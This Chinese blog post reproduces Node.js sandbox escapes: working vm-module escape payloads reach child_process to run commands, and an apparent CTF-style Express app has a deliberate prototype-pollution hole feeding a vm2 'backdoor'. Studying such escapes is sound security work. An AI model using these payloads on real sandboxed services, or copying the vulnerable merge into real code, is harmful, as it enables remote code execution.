沙箱逃逸复现

news2024/9/20 1:06:26

 当this指向window

原理

        1.this直接指向window,拿到window的tostring的constructor来利用构造函数拿到process

                是对象且指向沙箱外部,才可以利用

const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

 当this指向null,且没有其他对象可用
               使用arguments.callee.caller在沙盒内定义一个函数并返回,让外部对象调用这个函数,此时arguments.callee就是该对象了,然后再用constructor利用构造函数拿到process

                arguments.callee就是调用函数本身(可以理解成等于函数本身,但没有指向)

                arguments.caller就是指谁调用了自己(指向一个函数)

                arguments.callee.caller就是指向了某个调用自己的方法,这样就可以通过处在沙箱外的这个方法的构造函数拿到process了

    1.
        此时要触发这个tostring方法,就需要沙箱外有执行字符串的相关操作,

        可以console.log('hello' + res),来利用拼接的方式让res变成一个字符串

        因为在js中,例如this、对象等和字符串拼接都会自动调用tostring方法然后变成一个字符串 

        就触发了tostring方法
const vm = require('vm');
const script =`(() => {  
  const a = {}  
  
  a.toString = function () {    
  
  const cc = arguments.callee.caller;    
  
  const p = (cc.constructor('return process'))();   
  
   return p.mainModule.require('child_process').execSync('whoami').toString()  
  
  }  
  
  return a })()`;
const sandbox = { m: {}, n: 2, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('hello'+res);

 漏洞复现

const express = require('express');
const app = express();
const { VM } = require('vm2');
 
app.use(express.json());
 
const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}
 
 
app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});
 
app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})
 
app.listen(3000, function () {
    console.log('start listening on port 3000');
}); 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/835736.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vs code 如何配置保存cpolar所建立公共互联网网页的隧道参数?

文章目录 📋 前言1.如何配置保存cpolar所建立的隧道参数?2.本地安装 VS Code并修改隧道参数2.1 Visual studio Code 下载2.2 配置Visual studio Code 相关参数2.3 编辑 cpolar.yml 隧道参数文件2.3 修改website隧道参数 3. 检查 cpolar.yml 文件配置是否…

直播课 | 大橡科技研发总监丁端尘博士“类器官芯片技术在新药研发中的应用”

从类器官到类器官芯片,正在生物科学领域大放异彩。 药物研发需要新方法 众所周知,一款新药是一个风险大、周期长、成本高的艰难历程,国际上有一个传统的“双十”说法——10年时间,10亿美金,才可能成功研发出一款新药…

前期自学Java之Arrays篇及JDK帮助文档的下载

Assays 数组的工具类java.util.Arrays 一. 数组的简介 由于数组对象本身并没有什么方法可以提供给我们调用,但API中提供了一个工具类Arrays供我们使用,从而可以对数组对象进行一些基本的操作 Arrays类中的方法都是static修饰的静态方法,在…

Spring-1-透彻理解Spring XML的Bean创建--IOC

学习目标 上一篇文章我们介绍了什么是Spring,以及Spring的一些核心概念,并且快速快发一个Spring项目,实现IOC和DI,今天具体来讲解IOC 能够说出IOC的基础配置和Bean作用域 了解Bean的生命周期 能够说出Bean的实例化方式 一、Bean的基础配置 …

jenkins准备

回到目录 jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,主要用于持续、自动的构建/测试软件项目、监控外部任务的运行。Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构…

项目中使用非默认字体

项目场景: 由于开发需要,默认的字体不符合开发需求,有时候我们需要引入某种字体到项目中 解决方案: 首先需要下载或引入字体包 然后创建一个 index.css 文件用于声明引入字体名称 font-face {font-family: "YouSheBiao…

用html+javascript打造公文一键排版系统13:增加半角字符和全角字符的相互转换功能

一、实践发现了bug和不足 今天用了公文一键排版系统对几个PDF文件格式的材料进行文字识别后再重新排版,处理效果还是相当不错的,节约了不少的时间。 但是也发现了三个需要改进的地方: (一)发现了两个bug&#xff1a…

一起学算法(滑动窗口篇)

前言: 对于滑动窗口,有长度固定的窗口,也有长度可变的窗口,一般是基于数组进行求解,对于一个数组中两个相邻的窗口,势必会有一大部分重叠,这部分重叠的内容是不需要重复计算的,所以我…

Nacos适配人大金仓国产数据库

nacos版本2.2.0 人大金仓版本8.6.0 一、相关文件 Nacos官方文档-数据源插件https://nacos.io/zh-cn/docs/v2/plugin/datasource-plugin.html Nacos2.2.0源码https://github.com/alibaba/nacos/archive/refs/tags/2.2.0.zip 人大金仓驱动https://download.csdn.net/download/q…

无人机航测技术有何特点?主要应用在哪些方面?

无人机航测是航空摄影测量的一种,主要面向低空遥感领域,具有成本低、快速高效、适用范围广等特点。目前,无人机航测主要应用于地形测绘、城市数字化建设、工程建设等方面。 无人机航测技术的特点 1、作业成本低 传统的人工测量技术主要利用…

Bigemap如何查看高清影像图

工具 Bigemap gis office地图软件 分享一个可以查看非常高清影像图的软件,平时外出徒步的时候用来查看路线。 首先要去搜索安装bigemap gis office这个软件,打开软件,要提示你去添加地图的。然后去点击选择地图这个按钮,列表中有…

CobaltStirke BOF技术剖析(一)|BOF实现源码级分析

简介 对BOF(Beacon Object File)的支持是在CobaltStrike4.1版本中新引入的功能。BOF文件是由c代码编译而来的可在Beacon进程中动态加载执行的二进制程序。无文件执行与无新进程创建的特性更加符合OPSEC的原则,适用于严苛的终端对抗场景。低开发门槛与便利的内部Bea…

Linux学习之延时计划任务anacontab和锁文件flock

cat /etc/redhat-release看到操作系统的版本是CentOS Linux release 7.6.1810 (Core),uname -r可以看到内核版本是3.10.0-957.21.3.el7.x86_64 参考的博客有: 1.《Linux anacron命令用法详解》 2.《详解anacron 命令》 3.《Anacron的用法》 4.《shell脚…

ip网络广播系统网络音频解码终端公共广播SV-7101

SV-7101V网络音频终端产品简介 网络广播终端SV-7101V,接收网络音频流,实时解码播放。本设备只有网络广播功能,是一款简单的网络广播终端。提供一路线路输出接功放或有源音箱。 产品特点 ■ 提供固件网络远程升级■ 标准RJ45网络接口&…

Android:自己写一个简单记事本

一、前言:我的app是点击加号跳转到另一个界面 那么我遇到的问题的是点击加号是一个从一个Fragment跳转到另一个Fragment跳转失败。 二、解决方案: //相应控件的监听里面实现跳转FragmentManager fragmentManagergetFragmentManager();fragmentManager.b…

51单片机学习-AT24C02数据存储秒表(定时器扫描按键数码管)

首先编写I2C模块,根据下面的原理图进行位声明: sbit I2C_SCL P2^1; sbit I2C_SDA P2^0;再根据下面的时序结构图编写函数: /*** brief I2C开始* param 无* retval 无*/ void I2C_Start(void) {I2C_SDA 1; I2C_SCL 1; I2C_SDA 0;I2C_S…

HTML+CSS+JavaScript:利用事件委托实现tab栏切换

一、需求 实现tab栏切换 二、代码素材 以下是缺失JS部分的代码&#xff0c;感兴趣的小伙伴可以先自己试着写一写 <!-- JS方法实现tab栏切换 --> <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta …

[java刷算法]牛客—剑指offer链表复习、手写简易正则匹配

&#x1f9db;‍♂️个人主页&#xff1a;杯咖啡&#x1f4a1;进步是今天的活动&#xff0c;明天的保证&#xff01;✨目前正在学习&#xff1a;SSM框架,算法刷题&#x1f449;本文收录专栏 &#xff1a; java刷算法牛客—剑指offer&#x1f64c;牛客网&#xff0c;刷算法过面试…

【传统视觉】C#创建、封装、调用类库

任务 因为实现代码相对简单&#xff0c;然后又没有使用Opencv&#xff0c;所以就直接用C#实现&#xff0c;C#调用。 1.创建类库 1.1新建一个类库 vs2015 > 文件 > 新建 > 项目 using System; using System.Collections.Generic; using System.Linq;namespace Yo…

使用ChatGPT编写技术文档

技术文档对于任何项目都是至关重要的&#xff0c;因为它确保所有利益相关者都在同一层面上&#xff0c;并允许有效的沟通和协作。创建详细而准确的技术文档可能既耗时又具有挑战性&#xff0c;特别是对于那些不熟悉主题或缺乏强大写作技巧的人来说。ChatGPT 是一个强大的人工智…